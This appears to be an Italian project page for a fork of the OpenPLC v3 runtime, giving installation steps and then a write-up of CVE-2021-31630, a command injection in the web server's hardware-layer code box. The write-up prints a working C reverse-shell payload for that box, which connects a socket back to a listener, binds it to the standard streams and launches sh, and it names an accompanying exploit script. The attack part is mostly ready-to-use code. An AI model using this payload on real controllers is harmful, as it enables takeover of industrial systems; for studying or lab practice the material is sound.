OpenPLC Runtime version 3

Introduzione

OpenPLC è un controllore logico programmabile open source basato su un software facile da usare. Il nostro obiettivo è fornire una soluzione industriale a basso costo per l'automazione e la ricerca. OpenPLC è stato utilizzato in numerosi articoli di ricerca come framework per la ricerca sulla sicurezza informatica industriale, poiché è l'unico controllore che fornisce l'intero codice sorgente. Il progetto OpenPLC comprende tre sottoprogetti:

Installazione

mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

Dove [platform] può essere:

win - Installa OpenPLC su Windows tramite Cygwin

linux - Installa OpenPLC su una distribuzione Linux basata su Debian

docker - Usato dal Dockerfile (cioè non richiama sudo)

rpi - Installa OpenPLC su un Raspberry Pi

custom - Salta tutte le installazioni di pacchetti specifici e tenta di installare OpenPLC supponendo che il tuo sistema abbia già tutte le dipendenze soddisfatte. Questa opzione può essere utile se stai cercando di installare OpenPLC su una piattaforma Linux non supportata o se hai installato manualmente tutti i pacchetti di dipendenza in precedenza.

CVE-2021-31630

CVE-2021-31630 è una vulnerabilità di tipo code/command injection nel WebServer di OpenPLC (versione v3 ampiamente utilizzata dalla community). L'errore risiede nella funzionalità che consente di caricare/modificare il codice nell'interfaccia /hardware (Hardware Layer Code Box), dove i dati di input non vengono filtrati/sanitizzati adeguatamente prima di essere elaborati a livello server, portando alla possibilità di eseguire codice con i permessi del processo webserver. La vulnerabilità è stata resa pubblica nel 2021 e ha un alto livello di gravità nei database pubblici delle vulnerabilità.

Descrizione tecnica (livello defensible): l'interfaccia web accetta un frammento di "hardware layer code" inserito dall'utente. Questi dati vengono poi elaborati da componenti server in grado di compilare/normalizzare o di inserirli in un command context senza effettuare passaggi di controllo, filtraggio dei caratteri speciali o restrizioni rigide. In determinate condizioni (ad esempio, quando i dati vengono concatenati a una stringa di comando di sistema o passati direttamente a una funzione di elaborazione del codice), un attaccante può iniettare segmenti di controllo che alterano il flusso di esecuzione.

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

Codice di exploit: cve-2021-31630.py

OpenPLC_v3

Più Popolari

OpenPLC Runtime version 3

Introduzione

Installazione

CVE-2021-31630